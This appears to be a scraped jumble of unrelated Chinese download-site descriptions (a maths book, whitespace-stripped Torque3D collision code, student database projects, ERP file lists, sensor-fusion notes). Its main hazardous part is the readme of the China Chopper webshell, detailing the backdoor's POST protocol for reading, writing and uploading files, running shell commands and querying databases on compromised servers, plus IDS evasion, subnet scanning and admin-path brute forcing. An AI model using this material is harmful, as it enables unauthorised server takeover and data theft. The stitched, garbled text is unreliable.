《纯数学的无穷递降》，名字很吓人，其实是一本数学基础入门书，非常清晰易读，同时不失严谨。
该书作为卡耐基-梅隆大学数学系和计算机系的基础教材，一直在根据教学需要和学生反馈修订改进，这是2018年11月26日的最新修订版。
版权模式：CCBY-NC-SA4.0（https://creativecommons.org/licenses/by-nc-sa/4.0/）

GJK计算碰撞代码的应用//-----------------------------------------------------------------------------//Torque3D//Copyright(C)GarageGames.com,Inc.////Thecorealgorithmsinthisfilearebasedoncodewritten//byG.vandenBergenforhisinterferencedetectionlibrary,//"SOLID2.0"//-----------------------------------------------------------------------------#include"core/dataChunker.h"#include"collision/collision.h"#include"sceneGraph/sceneObject.h"#include"collision/convex.h"#include"collision/gjk.h"//----------------------------------------------------------------------------staticF32rel_error=1E-5f;//relativeerrorinthecomputeddistancestaticF32sTolerance=1E-3f;//DistancetolerancestaticF32sEpsilon2=1E-20f;//ZerolengthvectorstaticU32sIteration=15;//Stuckinaloop?S32num_iterations=0;S32num_irregularities=0;//----------------------------------------------------------------------------GjkCollisionState::GjkCollisionState(){a=b=0;}GjkCollisionState::~GjkCollisionState(){}//----------------------------------------------------------------------------voidGjkCollisionState::swap(){Convex*t=a;a=b;b=t;CollisionStateList*l=mLista;mLista=mListb;mListb=l;v.neg();}//----------------------------------------------------------------------------voidGjkCollisionState::compute_det(){//Dotnewpointwithcurrentsetfor(inti=0,bit=1;i0)returnfalse;}}returntrue;}//----------------------------------------------------------------------------inlineboolGjkCollisionState::closest(VectorF&v){compute_det();for(ints=bits;s;--s){if((s&bits)==s){if(valid(s|last_bit)){ bits=s|last_bit;if(bits!=15) compute_vector(bits,v); returntrue;}}}if(valid(last_bit)){bits=last_bit;v=y[last];returntrue;}returnfalse;}//----------------------------------------------------------------------------inlineboolGjkCollisionState::degenerate(constVectorF&w){for(inti=0,bit=1;imState=this;mListb=CollisionStateList::alloc();mListb-＞mState=this;}//----------------------------------------------------------------------------voidGjkCollisionState::reset(constMatrixF&a2w,constMatrixF&b2w){VectorFzero(0,0,0),sa,sb;a2w.mulP(a-＞support(zero),&sa);b2w.mulP(b-＞support(zero),&sb);v=sa-sb;dist=v.len();}//----------------------------------------------------------------------------voidGjkCollisionState::getCollisionInfo(constMatrixF&mat,Collision*info){AssertFatal(false,"GjkCollisionState::getCollisionInfo()-Thereremainscalingproblemshere.");//ThisassumesthattheshapesdonotintersectPoint3Fpa,pb;if(bits){getClosestPoints(pa,pb);mat.mulP(pa,&info-＞point);b-＞getTransform().mulP(pb,&pa);info-＞normal=info-＞point-pa;}else{mat.mulP(p[last],&info-＞point);info-＞normal=v;}info-＞normal.normalize();info-＞object=b-＞getObject();}voidGjkCollisionState::getClosestPoints(Point3F&p1,Point3F&p2){F32sum=0;p1.set(0,0,0);p2.set(0,0,0);for(inti=0,bit=1;isupport(va);a2w.mulP(p[last],&sa);VectorFvb,sb;w2b.mulV(v,&vb);q[last]=b-＞support(vb);b2w.mulP(q[last],&sb);VectorFw=sa-sb;if(mDot(v,w)＞0)returnfalse;if(degenerate(w)){++num_irregularities;returnfalse;}y[last]=w;all_bits=bits|last_bit;++num_iterations;if(!closest(v)||num_iterations＞sIteration){++num_irregularities;returnfalse;}}while(bitssEpsilon2);returntrue;}F32GjkCollisionState::distance(constMatrixF&a2w,constMatrixF&b2w,constF32dontCareDist,constMatrixF*_w2a,constMatrixF*_w2b){num_iterations=0;MatrixFw2a,w2b;if(_w2a==NULL||_w2b==NULL){w2a=a2w;w2b=b2w;w2a.inverse();w2b.inverse();}else{w2a=*_w2a;w2b=*_w2b;}reset(a2w,b2w);bits=0;all_bits=0;F32mu=0;do{nextBit();VectorFva,sa;w2a.mulV(-v,&va);p[last]=a-＞support(va);a2w.mulP(p[last],&sa);VectorFvb,sb;w2b.mulV(v,&vb);q[last]=b-＞support(vb);b2w.mulP(q[last],&sb);VectorFw=sa-sb;F32nm=mDot(v,w)/dist;if(nm＞mu)mu=nm;if(mu＞dontCareDist)returnmu;if(mFabs(dist-mu)sIteration){++num_irregularities;returndist;}y[last]=w;all_bits=bits|last_bit;if(!closest(v)){++num_irregularities;returndist;}dist=v.len();}while(bitssTolerance);if(bits==15&&mu＜=0)dist=0;returndist;}

用java编写一个简易的网吧计费系统，用hibernate框架，sql2008数据库或者是2005数据库，用户sa密码123456，在数据库中用到触发器，在程序中使用线程来计算钱实现的主要功能是练习线程、hashmap、hibernate、全局变量的灵活掌握

产品名称：中国菜刀(Chinachopper)生产厂家：中国菜刀贸易有限公司厂家地址：http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明： 请使用者注意使用环境并遵守国家相关法律法规！ 由于使用不当造成的后果本厂家不承担任何责任！----------------------------------------------------------------------------------------------------------友情提示：程序在使用过程中难免有各种BUG，到官网看一下是否有更新吧，说不定己经修补了呢。
UINCODE方式编译，支持多国语言输入显示。
在非简体中文环境下使用，自动更换成英文界面，翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分　　1）要了解的　　服务端只需要简单的一行代码，即可用此程序实现常用的管理功能，功能代码二次编码后发送，过IDS的能力大幅提高。
　　目前支持的服务端脚本：PHP,ASP,ASP.NET，并且支持https安全连接的网站。
　　在服务端运行的代码如下：　　PHP:　　ASP:　　ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)　　Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
　　2）怎么用　　在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，　　保存后即可使用文件管理，虚拟终端，数据库管理三大块功能，同时支持自定义的脚本执行，并可以导入导出数据。
　　要是其它都没错误，那么可能就是你把语言编码选错了。
　　1.文件管理：[特色]缓存下载目录，并支持离线查看缓存目录;　　2.虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法)　　3.数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)　　注意：由于服务器的安全设置，某些功能可能不能正常使用。
　　3)关于配置信息怎么填？ A)数据库方面： PHP脚本： 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址，如localhost 数据库用户连接数据库的用户名，如root 数据库密码连接数据库的密码，如123455 ASP和ASP.NET脚本： 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时，支持NT验证登录MSSQL数据库，并能把查询的结果列表导出为html文件 Customize脚本： 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行)： MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面： 添加额外附加提交的数据，如ASP的新服务端是这样的： 那么，菜刀在配置处填入： SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包：会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456　　3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描　　蜘蛛爬行，绑定域名查询，目录爆破。
　　命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器，并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行，并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行，过滤重复URL加快速度 加上{filter} G)爆破功能，%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE，否则包含关键字为TRUE list.txt为当前目录下的文件，可设为绝对路径，注意：不要包含太多的行。
注：从20100626版开始，list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒　　当闹钟来用吧,周期：每月/每周/每日/只一次。
四、快速启动　　一些常用的快捷方式放在这里，可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器　　就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分　　等待加入。
文件说明：------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例：菜刀客户端填写的密码为pass，网页编码选的是GB2312注：所有参数都以POST提交，返回的数据都要以-＞|为开始标记，|＜-为结束标记注：返回的错误信息开头包含ERROR://注：\t代表制表符TAB，\r\n代表换行回车，\n代表回车注：数据库配置信息是一个字符串，服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交：pass=A&z0=GB2312返回：目录的绝对路径\t，如果是Windows系统后面接着加上驱动器列表示例：c:\inetpub\wwwroot\ C:D:E:K:示例：/var/www/html/ [目录浏览]提交：pass=B&z0=GB2312&z1=目录绝对路径返回：先目录后文件,目录名后要加/，文件名后不要加/示例： 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交：pass=C&z0=GB2312&z1=文件绝对路径返回：文本文件的内容[写入文本文件]提交：pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回：成功返回1,不成功返回错误信息[删除文件或目录]提交：pass=E&z0=GB2312&z1=文件或目录的绝对路径返回：成功返回1,不成功返回错误信息[下载文件]提交：pass=F&z0=GB2312&z1=服务器文件的绝对路径返回：要下载文件的内容[上传文件]提交：pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回：要下载文件的内容[复制文件或目录后粘贴]提交：pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回：成功返回1,不成功返回错误信息[文件或目录重命名]提交：pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回：成功返回1,不成功返回错误信息[新建目录]提交：pass=J&z0=GB2312&z1=新目录名(绝对路径)返回：成功返回1,不成功返回错误信息[修改文件或目录时间]提交：pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式：yyyy-MM-ddHH:mm:ss)返回：成功返回1,不成功返回错误信息[下载文件到服务器]提交：pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回：成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交：pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回：命令执行结果[得到数据库基本信息]提交：pass=N&z0=GB2312&z1=数据库配置信息返回：成功返回数据库(以制表符\t分隔)，不成功返回错误信息[获取数据库表名]提交：pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回：成功返回数据表(以\t分隔)，不成功返回错误信息[获取数据表列名]提交：pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回：成功返回数据列(以制表符\t分隔)，不成功返回错误信息[执行数据库命令]提交：pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回：成功返回数据表内容，不成功返回错误信息注意：返回的第一行为表头，接下去每行分别在列表中显示，列数要求一致。
行中的每列后加上\t|\t标记，每行以标记\r\n为结束

采用PSO和SA算法的结合，对函数进行智能优化！

本文件包括源码，实验说明文档，实验总结PPTHaveahappyexperiment！

usingSystem;usingSystem.Collections.Generic;usingSystem.ComponentModel;usingSystem.Data;usingSystem.Drawing;usingSystem.Linq;usingSystem.Text;usingSystem.Windows.Forms;usingSystem.Data.SqlClient;namespace图书管理系统{publicpartialclass登录窗口:Form{//publicstaticstringConnectionString="Server=(local);database=图书管理库;uid=sa;pwd=1234";//sqlserver混合模式//publicstaticstringConnectionString="Server=(local);IntegratedSecurity=SSPI;database=图书管理库";//windows模式publicstringstrSQL;publicSqlConnectionmyConnection;publicSqlCommandBuildersqlCmdBld;publicDataSetds=newDataSet();publicSqlDataAdapterda;publicintnum=0;privateDataTablemyTable;privateDataRowmyRow;publicstaticstringstrUser;publicstaticstringstrPassword;//publicstaticstringstrDepartment;publicstaticboollogin_flag=false;public登录窗口(){InitializeComponent();}privatevoidbutton2_Click(objectsender,EventArgse){Close();}privatevoid登录窗口_Load(objectsender,EventArgse){linkdatabaselink=newlinkdatabase();//实例化myConnection=newSqlConnection(link.connectionstring());//实例化连接strSQL="select*from用户表";da=newSqlDataAdapter(strSQL,myConnection);ds.Clear();da.Fill(ds,"用户表");//////动作myTable=ds.Tables["用户表"];for(inti=0;i＜myTable.Rows.Count;i++){comboBox1.Items.Add(myTable.Rows[i]["用户名"].ToString().Trim());}}privatevoidbutton1_Click(objectsender,EventArgse){linkdatabaselink=newlinkdatabase();//实例化myConnection=newSqlConnection(link.connectionstring());//实例化连接strSQL="sele

1.大数据和广告关系A类问题：随着数据采样率下降，解决问题的收益会快速下降，这是典型的大数据问题。
如个性化推荐（personalizedrecommendation）和计算广告(computationaladvertising)。
B类问题：随着数据采样率上升，解决问题的收益有所提高，达到一定规模，收益趋于稳定。
如文本主题模型（topicmodel）。
C类问题：随着数据采样率下降，解决问题收益并没有明显下降。
如统计报表等。
2.广告定义和目的一切付费的信息、产品或服务的传播渠道，都是广告。
出资人、媒体和受众这三者利益博弈关系是广告活动永远的主线，广告的根本目的是广告主通过媒体达到低成本的用户接触。
可以用投入产出比（ReturnOnInvestment,ROI）来评价。
3.在线广告创意类型横幅广告（bannerad）：嵌入在页面中相对固定位置的版面。
文字链广告（textualad）：一段链接到广告主落地页文字，在搜索广告（百度）和展示广告广泛采用。
富媒体广告（richmediaad）：利用视觉冲击较强的表现形式（弹窗、对联、开屏等），在不占用固定版面位置情况下，向用户侵入式投送广告素材。
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大型ERP系统AP功能结构图.pdf大型ERP系统AP详细设计说明书.pdf大型ERP系统AP需求分析.pdf大型ERP系统AR功能结构图.pdf大型ERP系统AR详细设计说明书.pdf大型ERP系统AR需求分析.pdf大型ERP系统BOM测试手册.pdf大型ERP系统BOM详细设计说明书.pdf大型ERP系统BOM需求分析.pdf大型ERP系统CRP详细设计说明书.pdf大型ERP系统CSH需求分析.pdf大型ERP系统CST_Manual.pdf大型ERP系统CST功能描述图.pdf大型ERP系统CST详细设计说明书.pdf大型ERP系统CST需求分析.pdf大型ERP系统EC电子商务需求分析.pdf大型ERP系统EC需求分析.pdf大型ERP系统EXP需求分析.pdf大型ERP系统FA功能描述图.pdf大型ERP系统FA详细设计说明书.pdf大型ERP系统FA需求分析.pdf大型ERP系统GL测试手册.pdf大型ERP系统GL需求分析.pdf大型ERP系统HR详细设计说明书.pdf大型ERP系统HR需求分析.pdf大型ERP系统INV功能模块图.pdf大型ERP系统INV测试手册.pdf大型ERP系统INV测试手册1.pdf大型ERP系统INV详细设计说明书.pdf大型ERP系统INV需求分析.pdf大型ERP系统MPS测试手册.pdf大型ERP系统MPS详细设计说明书.pdf大型ERP系统MRP详细设计说明书.pdf大型ERP系统MRP需求分析.pdf大型ERP系统PAC详细设计说明书.pdf大型ERP系统PAY功能描述图.pdf大型ERP系统PAY详细设计说明书.pdf大型ERP系统PowerERP_MODEL描述图.pdf大型ERP系统PowerERP_功能描述图.pdf大型ERP系统PowerERP_功能描述图2.pdf大型ERP系统PRO数据库设计说明书.pdf大型ERP系统PRO需求分析.pdf大型ERP系统PRV详细设计说明书.pdf大型ERP系统PRV需求分析.pdf大型ERP系统PUR功能模块图.pdf大型ERP系统PUR详细设计说明书.pdf大型ERP系统PUR需求分析.pdf大型ERP系统RCCP详细设计说明书.pdf大型ERP系统SA功能结构图.pdf大型ERP系统SA详细设计说明书.pdf大型ERP系统SA需求分析.pdf大型ERP系统SD功能描述图.pdf大型ERP系统SD需求分析.pdf大型ERP系统SYS详细设计说明书.pdf大型ERP系统URP详细设计说明书.pdf大型ERP系统URP需求说明.pdf大型ERP系统主生产计划—操作手册.pdf大型ERP系统公共使用手册.pdf大型ERP系统单据套打设计使用手册.pdf大型ERP系统合并报表使用手册.pdf大型ERP系统合并报表管理手册.pdf大型ERP系统固定资产管理手册.pdf大型ERP系统存货管理手册.pdf大型ERP系统安全管理使用手册l.pdf大型ERP系统工场管理系统用户手册.pdf大型ERP系统工资管理手册.pdf大型ERP系统库存管理手册.pdf大型ERP系统应收使用手册.pdf大型ERP系统应收管理手册.pdf大型ERP系统总账使用手册.pdf大型ERP系统成本管理使用手册.pdf大型ERP系统报关使用手册.pdf大型ERP系统报关管理手册.pdf大型ERP系统物流CRM详细设计说明书.pdf大型ERP系统系统管理使用手册.pdf大型ERP系统能力计划使用手册.pdf大型ERP系统航运管理手册.pdf大型ERP系统设计文档.rar大型ERP系统采购管理手册r.pdf大型ERP系统销售管理手册.pdf

GPS位置+速度两个观测量卡尔曼惯导航融合，观测传感器滞后的主要思想是，由于惯导的主体为加速度计，采样频率与更新实时性要求比较高，而观测传感器（气压计、GPS、超声波、视觉里程计等）更新相对比较慢（或者数据噪声比较大，通常需要低通造成滞后）。
在无人机动态条件下，本次采样的得到的带滞后观测量（高度、水平位置）已经不能反映最新状态量（惯导位置），我们认定传感器在通带内的延时时间具有一致性（或者取有效带宽内的平均时延值），即当前观测量只能反映系统N*dt时刻前的状态，所以状态误差（在这里指的是气压计与惯导高度、GPS水平位置与惯导水平位置）采用当前观测量与当前惯导做差的方式不可取，在APM里面采用的处理方式为：将惯导的估计位置用数组存起来，更具气压计和GPS的滞后程度，选取合适的Buffer区与当前观测传感器得到位置做差得到状态误差。
————————————————版权声明：本文为CSDN博主「NamelessCotrun无名小哥」的原创文章，遵循CC4.0BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/u011992534/article/details/78257684

在日常工作中，钉钉打卡成了我生活中不可或缺的一部分。然而，有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚，我总是得牢记打开钉钉应用，点击"工作台"，再找到"考勤打卡"进行签到。有时候因为工作忙碌，会忘记打卡，导致考勤异常，影响当月的工作评价。而且，由于我使用的是苹果手机，有时候系统更新后，钉钉的某些功能会出现异常，使得打卡变得更加麻烦。 另外，我的家人使用的是安卓手机，他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说，每次打卡都是一次挑战。他们总是担心自己会操作失误，导致打卡失败。 为了解决这些烦恼，我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习，我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。